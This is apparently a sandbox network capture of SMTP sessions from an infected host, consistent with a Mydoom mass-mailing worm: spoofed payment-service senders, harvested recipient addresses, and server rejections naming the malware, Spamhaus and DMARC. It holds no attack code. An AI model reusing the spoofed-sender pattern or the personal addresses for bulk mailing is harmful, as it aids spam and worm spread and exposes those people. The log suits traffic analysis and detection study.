Oct 31, 2022 12:20:09.661545038 CET	25	49856	104.47.55.138	192.168.2.5	550 5.7.1 Service unavailable, Client host [102.129.143.15] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.15 AS(1440) [BN8NAM12FT097.eop-nam12.prod.protection.outlook.com]
Oct 31, 2022 12:20:09.956103086 CET	25	49858	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. e7-20020aa7d7c7000000b0045c29d74fd0si6834563eds.291 - gsmtp
Oct 31, 2022 12:20:10.119050026 CET	25	49855	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:20:10.263130903 CET	25	49855	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:20:10.267374039 CET	25	49857	142.250.150.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. p13-20020a2ea40d000000b0027709a4bcfbsi4048890ljn.346 - gsmtp
Oct 31, 2022 12:20:10.371296883 CET	25	49860	74.125.140.26	192.168.2.5	220 mx.google.com ESMTP e20-20020a05600c4e5400b003cf6774e4b3si4784571wmq.123 - gsmtp
Oct 31, 2022 12:20:10.371655941 CET	49860	25	192.168.2.5	74.125.140.26	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:10.408613920 CET	25	49860	74.125.140.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:10.409045935 CET	49860	25	192.168.2.5	74.125.140.26	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:10.428873062 CET	25	49859	142.250.141.27	192.168.2.5	220 mx.google.com ESMTP z65-20020a633344000000b0046b0e168b1asi8562892pgz.222 - gsmtp
Oct 31, 2022 12:20:10.429071903 CET	49859	25	192.168.2.5	142.250.141.27	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:10.443171024 CET	25	49860	74.125.140.26	192.168.2.5	250 2.1.0 OK e20-20020a05600c4e5400b003cf6774e4b3si4784571wmq.123 - gsmtp
Oct 31, 2022 12:20:10.443528891 CET	49860	25	192.168.2.5	74.125.140.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:10.623372078 CET	25	49860	74.125.140.26	192.168.2.5	250 2.1.5 OK e20-20020a05600c4e5400b003cf6774e4b3si4784571wmq.123 - gsmtp
Oct 31, 2022 12:20:10.623797894 CET	49860	25	192.168.2.5	74.125.140.26	DATA
Oct 31, 2022 12:20:10.657777071 CET	25	49860	74.125.140.26	192.168.2.5	354 Go ahead e20-20020a05600c4e5400b003cf6774e4b3si4784571wmq.123 - gsmtp
Oct 31, 2022 12:20:10.666796923 CET	25	49859	142.250.141.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:10.675107956 CET	49859	25	192.168.2.5	142.250.141.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:10.889395952 CET	25	49860	74.125.140.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. e20-20020a05600c4e5400b003cf6774e4b3si4784571wmq.123 - gsmtp
Oct 31, 2022 12:20:10.909893036 CET	25	49859	142.250.141.27	192.168.2.5	250 2.1.0 OK z65-20020a633344000000b0046b0e168b1asi8562892pgz.222 - gsmtp
Oct 31, 2022 12:20:10.910156965 CET	49859	25	192.168.2.5	142.250.141.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:10.982984066 CET	25	49861	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP b17-20020a056402351100b00461e3e1a628si7994447edd.110 - gsmtp
Oct 31, 2022 12:20:10.983247995 CET	49861	25	192.168.2.5	142.250.153.27	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:11.012921095 CET	25	49861	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:11.013185024 CET	49861	25	192.168.2.5	142.250.153.27	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:11.040571928 CET	25	49861	142.250.153.27	192.168.2.5	250 2.1.0 OK b17-20020a056402351100b00461e3e1a628si7994447edd.110 - gsmtp
Oct 31, 2022 12:20:11.042545080 CET	49861	25	192.168.2.5	142.250.153.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:11.159312010 CET	25	49859	142.250.141.27	192.168.2.5	250 2.1.5 OK z65-20020a633344000000b0046b0e168b1asi8562892pgz.222 - gsmtp
Oct 31, 2022 12:20:11.159971952 CET	49859	25	192.168.2.5	142.250.141.27	DATA
Oct 31, 2022 12:20:11.220990896 CET	25	49861	142.250.153.27	192.168.2.5	250 2.1.5 OK b17-20020a056402351100b00461e3e1a628si7994447edd.110 - gsmtp
Oct 31, 2022 12:20:11.224026918 CET	49861	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:20:11.251580954 CET	25	49861	142.250.153.27	192.168.2.5	354 Go ahead b17-20020a056402351100b00461e3e1a628si7994447edd.110 - gsmtp
Oct 31, 2022 12:20:11.394839048 CET	25	49859	142.250.141.27	192.168.2.5	354 Go ahead z65-20020a633344000000b0046b0e168b1asi8562892pgz.222 - gsmtp
Oct 31, 2022 12:20:11.451971054 CET	25	49861	142.250.153.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. b17-20020a056402351100b00461e3e1a628si7994447edd.110 - gsmtp
Oct 31, 2022 12:20:12.051469088 CET	25	49859	142.250.141.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. z65-20020a633344000000b0046b0e168b1asi8562892pgz.222 - gsmtp
Oct 31, 2022 12:20:12.156443119 CET	25	49862	74.125.140.27	192.168.2.5	220 mx.google.com ESMTP r127-20020a1c4485000000b003c1d0b5b699si4944635wma.25 - gsmtp
Oct 31, 2022 12:20:12.156644106 CET	49862	25	192.168.2.5	74.125.140.27	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:12.193348885 CET	25	49862	74.125.140.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:12.193581104 CET	49862	25	192.168.2.5	74.125.140.27	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:12.227797985 CET	25	49862	74.125.140.27	192.168.2.5	250 2.1.0 OK r127-20020a1c4485000000b003c1d0b5b699si4944635wma.25 - gsmtp
Oct 31, 2022 12:20:12.228174925 CET	49862	25	192.168.2.5	74.125.140.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:12.410075903 CET	25	49862	74.125.140.27	192.168.2.5	250 2.1.5 OK r127-20020a1c4485000000b003c1d0b5b699si4944635wma.25 - gsmtp
Oct 31, 2022 12:20:12.410650969 CET	49862	25	192.168.2.5	74.125.140.27	DATA
Oct 31, 2022 12:20:12.445030928 CET	25	49862	74.125.140.27	192.168.2.5	354 Go ahead r127-20020a1c4485000000b003c1d0b5b699si4944635wma.25 - gsmtp
Oct 31, 2022 12:20:12.582962990 CET	25	49695	85.187.148.2	192.168.2.5	250 Accepted
Oct 31, 2022 12:20:12.583208084 CET	49695	25	192.168.2.5	85.187.148.2	DATA
Oct 31, 2022 12:20:12.738099098 CET	25	49695	85.187.148.2	192.168.2.5	354 Enter message, ending with "." on a line by itself
Oct 31, 2022 12:20:12.892941952 CET	25	49862	74.125.140.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. r127-20020a1c4485000000b003c1d0b5b699si4944635wma.25 - gsmtp
Oct 31, 2022 12:20:13.171746016 CET	25	49864	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP j18-20020a056512345200b00492f1b81453si4719618lfr.535 - gsmtp
Oct 31, 2022 12:20:13.171979904 CET	49864	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:13.229459047 CET	25	49864	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:13.229665041 CET	49864	25	192.168.2.5	142.250.150.27	MAIL FROM: <alex@aol.com>
Oct 31, 2022 12:20:13.234077930 CET	25	49863	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:20:13 -0400
Oct 31, 2022 12:20:13.239006042 CET	49863	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:20:13.284308910 CET	25	49864	142.250.150.27	192.168.2.5	250 2.1.0 OK j18-20020a056512345200b00492f1b81453si4719618lfr.535 - gsmtp
Oct 31, 2022 12:20:13.284538031 CET	49864	25	192.168.2.5	142.250.150.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:13.385008097 CET	25	49863	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:20:13.385171890 CET	49863	25	192.168.2.5	209.51.188.92	MAIL FROM: <admin@easypay.com>
Oct 31, 2022 12:20:13.478485107 CET	25	49866	198.252.153.129	192.168.2.5	220-mx1.riseup.net ESMTP (spam is not appreciated)
Oct 31, 2022 12:20:13.478671074 CET	49866	25	192.168.2.5	198.252.153.129	HELO mx1.riseup.net
Oct 31, 2022 12:20:13.510627985 CET	25	49864	142.250.150.27	192.168.2.5	250 2.1.5 OK j18-20020a056512345200b00492f1b81453si4719618lfr.535 - gsmtp
Oct 31, 2022 12:20:13.510822058 CET	49864	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:20:13.529623032 CET	25	49863	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:20:13.529865980 CET	49863	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype-devel@nongnu.org>
Oct 31, 2022 12:20:13.565491915 CET	25	49864	142.250.150.27	192.168.2.5	354 Go ahead j18-20020a056512345200b00492f1b81453si4719618lfr.535 - gsmtp
Oct 31, 2022 12:20:13.652354002 CET	25	49866	198.252.153.129	192.168.2.5	250 mx1.riseup.net
Oct 31, 2022 12:20:13.652546883 CET	49866	25	192.168.2.5	198.252.153.129	MAIL FROM: <support@wmtransfer.com>
Oct 31, 2022 12:20:13.736579895 CET	25	49864	142.250.150.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. j18-20020a056512345200b00492f1b81453si4719618lfr.535 - gsmtp
Oct 31, 2022 12:20:13.820386887 CET	25	49865	142.250.157.26	192.168.2.5	220 mx.google.com ESMTP iz1-20020a170902ef8100b0017f802fcffesi7941534plb.410 - gsmtp
Oct 31, 2022 12:20:13.820852995 CET	49865	25	192.168.2.5	142.250.157.26	HELO alt2.aspmx.l.google.com
Oct 31, 2022 12:20:13.826277971 CET	25	49866	198.252.153.129	192.168.2.5	250 2.1.0 Ok
Oct 31, 2022 12:20:13.826566935 CET	49866	25	192.168.2.5	198.252.153.129	RCPT TO: <currojerez@riseup.net>
Oct 31, 2022 12:20:13.867963076 CET	25	49867	74.125.140.27	192.168.2.5	220 mx.google.com ESMTP bp28-20020a5d5a9c000000b0022e0529419asi4345890wrb.121 - gsmtp
Oct 31, 2022 12:20:13.868410110 CET	49867	25	192.168.2.5	74.125.140.27	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:13.906080961 CET	25	49867	74.125.140.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:13.906436920 CET	49867	25	192.168.2.5	74.125.140.27	MAIL FROM: <alex@aol.com>
Oct 31, 2022 12:20:13.940347910 CET	25	49867	74.125.140.27	192.168.2.5	250 2.1.0 OK bp28-20020a5d5a9c000000b0022e0529419asi4345890wrb.121 - gsmtp
Oct 31, 2022 12:20:13.940563917 CET	49867	25	192.168.2.5	74.125.140.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:14.000152111 CET	25	49866	198.252.153.129	192.168.2.5	550 5.5.1 Protocol error
Oct 31, 2022 12:20:14.090724945 CET	25	49863	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:20:14.121727943 CET	25	49867	74.125.140.27	192.168.2.5	250 2.1.5 OK bp28-20020a5d5a9c000000b0022e0529419asi4345890wrb.121 - gsmtp
Oct 31, 2022 12:20:14.123327971 CET	49867	25	192.168.2.5	74.125.140.27	DATA
Oct 31, 2022 12:20:14.157576084 CET	25	49867	74.125.140.27	192.168.2.5	354 Go ahead bp28-20020a5d5a9c000000b0022e0529419asi4345890wrb.121 - gsmtp
Oct 31, 2022 12:20:14.236313105 CET	25	49863	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:20:14.261029005 CET	25	49865	142.250.157.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:14.261600971 CET	49865	25	192.168.2.5	142.250.157.26	MAIL FROM: <support@cyberplat.com>
Oct 31, 2022 12:20:14.267121077 CET	25	49867	74.125.140.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. bp28-20020a5d5a9c000000b0022e0529419asi4345890wrb.121 - gsmtp
Oct 31, 2022 12:20:14.382494926 CET	25	49868	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP sa14-20020a1709076d0e00b0078d8db64fffsi8474885ejc.20 - gsmtp
Oct 31, 2022 12:20:14.384362936 CET	49868	25	192.168.2.5	142.250.147.27	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:14.427167892 CET	25	49868	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:14.431237936 CET	49868	25	192.168.2.5	142.250.147.27	MAIL FROM: <alex@aol.com>
Oct 31, 2022 12:20:14.470896959 CET	25	49868	142.250.147.27	192.168.2.5	250 2.1.0 OK sa14-20020a1709076d0e00b0078d8db64fffsi8474885ejc.20 - gsmtp
Oct 31, 2022 12:20:14.472335100 CET	49868	25	192.168.2.5	142.250.147.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:14.658917904 CET	25	49868	142.250.147.27	192.168.2.5	250 2.1.5 OK sa14-20020a1709076d0e00b0078d8db64fffsi8474885ejc.20 - gsmtp
Oct 31, 2022 12:20:14.662421942 CET	49868	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:20:14.699146986 CET	25	49865	142.250.157.26	192.168.2.5	250 2.1.0 OK iz1-20020a170902ef8100b0017f802fcffesi7941534plb.410 - gsmtp
Oct 31, 2022 12:20:14.702095032 CET	25	49868	142.250.147.27	192.168.2.5	354 Go ahead sa14-20020a1709076d0e00b0078d8db64fffsi8474885ejc.20 - gsmtp
Oct 31, 2022 12:20:14.702311039 CET	49865	25	192.168.2.5	142.250.157.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:14.812937975 CET	25	49868	142.250.147.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. sa14-20020a1709076d0e00b0078d8db64fffsi8474885ejc.20 - gsmtp
Oct 31, 2022 12:20:15.019066095 CET	25	49830	85.187.148.2	192.168.2.5	220-az1-ss24.a2hosting.com ESMTP Exim 4.95 #2 Mon, 31 Oct 2022 04:20:14 -0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 31, 2022 12:20:15.019474030 CET	49830	25	192.168.2.5	85.187.148.2	HELO gzip.org
Oct 31, 2022 12:20:15.174139977 CET	25	49830	85.187.148.2	192.168.2.5	250 az1-ss24.a2hosting.com Hello gzip.org [102.129.143.15]
Oct 31, 2022 12:20:15.174422979 CET	49830	25	192.168.2.5	85.187.148.2	MAIL FROM: <support@e-gold.com>
Oct 31, 2022 12:20:15.209088087 CET	25	49865	142.250.157.26	192.168.2.5	250 2.1.5 OK iz1-20020a170902ef8100b0017f802fcffesi7941534plb.410 - gsmtp
Oct 31, 2022 12:20:15.209661961 CET	49865	25	192.168.2.5	142.250.157.26	DATA
Oct 31, 2022 12:20:15.329361916 CET	25	49830	85.187.148.2	192.168.2.5	250 OK
Oct 31, 2022 12:20:15.329725981 CET	49830	25	192.168.2.5	85.187.148.2	RCPT TO: <jloup@gzip.org>
Oct 31, 2022 12:20:15.404550076 CET	25	49695	85.187.148.2	192.168.2.5	550-This message contains a virus or other harmful content 550 (Win.Malware.Mydoom-6804696-0)
Oct 31, 2022 12:20:15.559813976 CET	25	49695	85.187.148.2	192.168.2.5	421 az1-ss24.a2hosting.com lost input connection
Oct 31, 2022 12:20:15.647692919 CET	25	49865	142.250.157.26	192.168.2.5	354 Go ahead iz1-20020a170902ef8100b0017f802fcffesi7941534plb.410 - gsmtp
Oct 31, 2022 12:20:15.749218941 CET	25	49869	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP y7-20020a1709027c8700b00186c3afbd25si8050574pll.349 - gsmtp
Oct 31, 2022 12:20:15.749579906 CET	49869	25	192.168.2.5	74.125.200.26	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:16.286118984 CET	25	49869	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:16.286323071 CET	49869	25	192.168.2.5	74.125.200.26	MAIL FROM: <alex@aol.com>
Oct 31, 2022 12:20:16.767014980 CET	25	49865	142.250.157.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. iz1-20020a170902ef8100b0017f802fcffesi7941534plb.410 - gsmtp
Oct 31, 2022 12:20:16.819771051 CET	25	49869	74.125.200.26	192.168.2.5	250 2.1.0 OK y7-20020a1709027c8700b00186c3afbd25si8050574pll.349 - gsmtp
Oct 31, 2022 12:20:16.952641010 CET	49869	25	192.168.2.5	74.125.200.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:17.116638899 CET	25	49870	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP hb38-20020a170907162600b007314b427e96si8439131ejc.633 - gsmtp
Oct 31, 2022 12:20:17.116856098 CET	49870	25	192.168.2.5	142.250.153.27	HELO aspmx2.googlemail.com
Oct 31, 2022 12:20:17.147254944 CET	25	49870	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:17.147568941 CET	49870	25	192.168.2.5	142.250.153.27	MAIL FROM: <support@cyberplat.com>
Oct 31, 2022 12:20:17.174963951 CET	25	49870	142.250.153.27	192.168.2.5	250 2.1.0 OK hb38-20020a170907162600b007314b427e96si8439131ejc.633 - gsmtp
Oct 31, 2022 12:20:17.175223112 CET	49870	25	192.168.2.5	142.250.153.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:17.319302082 CET	25	49870	142.250.153.27	192.168.2.5	250 2.1.5 OK hb38-20020a170907162600b007314b427e96si8439131ejc.633 - gsmtp
Oct 31, 2022 12:20:17.333082914 CET	49870	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:20:17.351644993 CET	25	49871	74.125.140.26	192.168.2.5	220 mx.google.com ESMTP x14-20020a1c7c0e000000b003c61be4c435si4431364wmc.107 - gsmtp
Oct 31, 2022 12:20:17.351975918 CET	49871	25	192.168.2.5	74.125.140.26	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:17.360963106 CET	25	49870	142.250.153.27	192.168.2.5	354 Go ahead hb38-20020a170907162600b007314b427e96si8439131ejc.633 - gsmtp
Oct 31, 2022 12:20:17.388900042 CET	25	49871	74.125.140.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:17.389070988 CET	49871	25	192.168.2.5	74.125.140.26	MAIL FROM: <steve@aol.com>
Oct 31, 2022 12:20:17.423086882 CET	25	49871	74.125.140.26	192.168.2.5	250 2.1.0 OK x14-20020a1c7c0e000000b003c61be4c435si4431364wmc.107 - gsmtp
Oct 31, 2022 12:20:17.442342043 CET	49871	25	192.168.2.5	74.125.140.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:17.548252106 CET	25	49869	74.125.200.26	192.168.2.5	250 2.1.5 OK y7-20020a1709027c8700b00186c3afbd25si8050574pll.349 - gsmtp
Oct 31, 2022 12:20:17.552148104 CET	49869	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:20:17.599358082 CET	25	49872	94.100.180.31	192.168.2.5	220 mxs.mail.ru ESMTP ready
Oct 31, 2022 12:20:17.607470989 CET	49872	25	192.168.2.5	94.100.180.31	HELO mxs.mail.ru
Oct 31, 2022 12:20:17.621752024 CET	25	49871	74.125.140.26	192.168.2.5	250 2.1.5 OK x14-20020a1c7c0e000000b003c61be4c435si4431364wmc.107 - gsmtp
Oct 31, 2022 12:20:17.623017073 CET	49871	25	192.168.2.5	74.125.140.26	DATA
Oct 31, 2022 12:20:17.659015894 CET	25	49871	74.125.140.26	192.168.2.5	354 Go ahead x14-20020a1c7c0e000000b003c61be4c435si4431364wmc.107 - gsmtp
Oct 31, 2022 12:20:17.665986061 CET	25	49872	94.100.180.31	192.168.2.5	250 mxs.mail.ru
Oct 31, 2022 12:20:17.667960882 CET	25	49870	142.250.153.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. hb38-20020a170907162600b007314b427e96si8439131ejc.633 - gsmtp
Oct 31, 2022 12:20:17.694659948 CET	49872	25	192.168.2.5	94.100.180.31	MAIL FROM: <Fyodor@yandex.ru>
Oct 31, 2022 12:20:17.753740072 CET	25	49872	94.100.180.31	192.168.2.5	250 2.0.0 OK
Oct 31, 2022 12:20:17.790085077 CET	25	49871	74.125.140.26	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. x14-20020a1c7c0e000000b003c61be4c435si4431364wmc.107 - gsmtp
Oct 31, 2022 12:20:18.085163116 CET	25	49869	74.125.200.26	192.168.2.5	354 Go ahead y7-20020a1709027c8700b00186c3afbd25si8050574pll.349 - gsmtp
Oct 31, 2022 12:20:18.133270979 CET	49872	25	192.168.2.5	94.100.180.31	RCPT TO: <lastguru@mail.ru>
Oct 31, 2022 12:20:18.193022013 CET	25	49872	94.100.180.31	192.168.2.5	250 Go ahead
Oct 31, 2022 12:20:18.207664013 CET	49872	25	192.168.2.5	94.100.180.31	DATA
Oct 31, 2022 12:20:18.266535997 CET	25	49872	94.100.180.31	192.168.2.5	354 Go ahead. End your data with <CR><LF>.<CR><LF>
Oct 31, 2022 12:20:18.325889111 CET	25	49873	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP la26-20020a170907781a00b0077ed84da316si6022850ejc.217 - gsmtp
Oct 31, 2022 12:20:18.325922012 CET	25	49874	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP y6-20020a056402358600b00461e122a4e4si8689837edc.314 - gsmtp
Oct 31, 2022 12:20:18.335000038 CET	49873	25	192.168.2.5	142.250.147.27	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:18.335048914 CET	49874	25	192.168.2.5	142.250.147.26	HELO aspmx3.googlemail.com
Oct 31, 2022 12:20:18.378947973 CET	25	49874	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:18.378998995 CET	25	49873	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:18.379293919 CET	49874	25	192.168.2.5	142.250.147.26	MAIL FROM: <support@cyberplat.com>
Oct 31, 2022 12:20:18.379405975 CET	49873	25	192.168.2.5	142.250.147.27	MAIL FROM: <steve@aol.com>
Oct 31, 2022 12:20:18.420998096 CET	25	49874	142.250.147.26	192.168.2.5	250 2.1.0 OK y6-20020a056402358600b00461e122a4e4si8689837edc.314 - gsmtp
Oct 31, 2022 12:20:18.421031952 CET	25	49873	142.250.147.27	192.168.2.5	250 2.1.0 OK la26-20020a170907781a00b0077ed84da316si6022850ejc.217 - gsmtp
Oct 31, 2022 12:20:18.435045958 CET	49874	25	192.168.2.5	142.250.147.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:18.435409069 CET	49873	25	192.168.2.5	142.250.147.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:20:18.623524904 CET	25	49873	142.250.147.27	192.168.2.5	250 2.1.5 OK la26-20020a170907781a00b0077ed84da316si6022850ejc.217 - gsmtp
Oct 31, 2022 12:20:18.628397942 CET	49873	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:20:18.630466938 CET	25	49874	142.250.147.26	192.168.2.5	250 2.1.5 OK y6-20020a056402358600b00461e122a4e4si8689837edc.314 - gsmtp
Oct 31, 2022 12:20:18.630737066 CET	49874	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:20:18.670115948 CET	25	49873	142.250.147.27	192.168.2.5	354 Go ahead la26-20020a170907781a00b0077ed84da316si6022850ejc.217 - gsmtp
Oct 31, 2022 12:20:18.672278881 CET	25	49874	142.250.147.26	192.168.2.5	354 Go ahead y6-20020a056402358600b00461e122a4e4si8689837edc.314 - gsmtp
Oct 31, 2022 12:20:18.856406927 CET	25	49872	94.100.180.31	192.168.2.5	550 spam message rejected. Please visit http://help.mail.ru/notspam-support/id?c=GphBvLxYlp3RERVo87gUiydJE9Gz-iayezKSRREA00y80WzVRBL2zGCinI9b1kvQBQAAAE1zAQAXJjkF or report details to abuse@corp.mail.ru. Error code: BC41981A9D9658BC681511D18B14B8F3D1134927B226FAB34592327B4CD30011D56CD1BCCCF612448F9CA260D04BD65B. ID: 000000050001734D05392617.
Oct 31, 2022 12:20:19.481476068 CET	25	49869	74.125.200.26	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. y7-20020a1709027c8700b00186c3afbd25si8050574pll.349 - gsmtp
Oct 31, 2022 12:20:19.910780907 CET	49873	25	192.168.2.5	142.250.147.27	.
Oct 31, 2022 12:20:19.955550909 CET	25	49873	142.250.147.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. la26-20020a170907781a00b0077ed84da316si6022850ejc.217 - gsmtp
Oct 31, 2022 12:20:20.001064062 CET	25	49876	142.250.153.26	192.168.2.5	220 mx.google.com ESMTP dm19-20020a170907949300b007aa784a3cb8si6288041ejc.687 - gsmtp
Oct 31, 2022 12:20:20.001374960 CET	49876	25	192.168.2.5	142.250.153.26	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:20:20.033987999 CET	25	49876	142.250.153.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:20.034290075 CET	49876	25	192.168.2.5	142.250.153.26	MAIL FROM: <alex@aol.com>
Oct 31, 2022 12:20:20.037139893 CET	25	49874	142.250.147.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. y6-20020a056402358600b00461e122a4e4si8689837edc.314 - gsmtp
Oct 31, 2022 12:20:20.061739922 CET	25	49876	142.250.153.26	192.168.2.5	250 2.1.0 OK dm19-20020a170907949300b007aa784a3cb8si6288041ejc.687 - gsmtp
Oct 31, 2022 12:20:20.061906099 CET	49876	25	192.168.2.5	142.250.153.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:20:20.150851011 CET	25	49878	173.194.76.27	192.168.2.5	220 mx.google.com ESMTP bo29-20020a056000069d00b00228d8b600e2si4455114wrb.418 - gsmtp
Oct 31, 2022 12:20:20.155602932 CET	49878	25	192.168.2.5	173.194.76.27	HELO aspmx.l.google.com
Oct 31, 2022 12:20:20.192714930 CET	25	49878	173.194.76.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:20:20.193002939 CET	49878	25	192.168.2.5	173.194.76.27	MAIL FROM: <support@cyberplat.com>
Oct 31, 2022 12:20:20.226290941 CET	25	49878	173.194.76.27	192.168.2.5	250 2.1.0 OK bo29-20020a056000069d00b00228d8b600e2si4455114wrb.418 - gsmtp
Oct 31, 2022 12:20:20.226645947 CET	49878	25	192.168.2.5	173.194.76.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:20:20.235117912 CET	25	49876	142.250.153.26	192.168.2.5	250 2.1.5 OK dm19-20020a170907949300b007aa784a3cb8si6288041ejc.687 - gsmtp
Oct 31, 2022 12:20:20.235539913 CET	49876	25	192.168.2.5	142.250.153.26	DATA
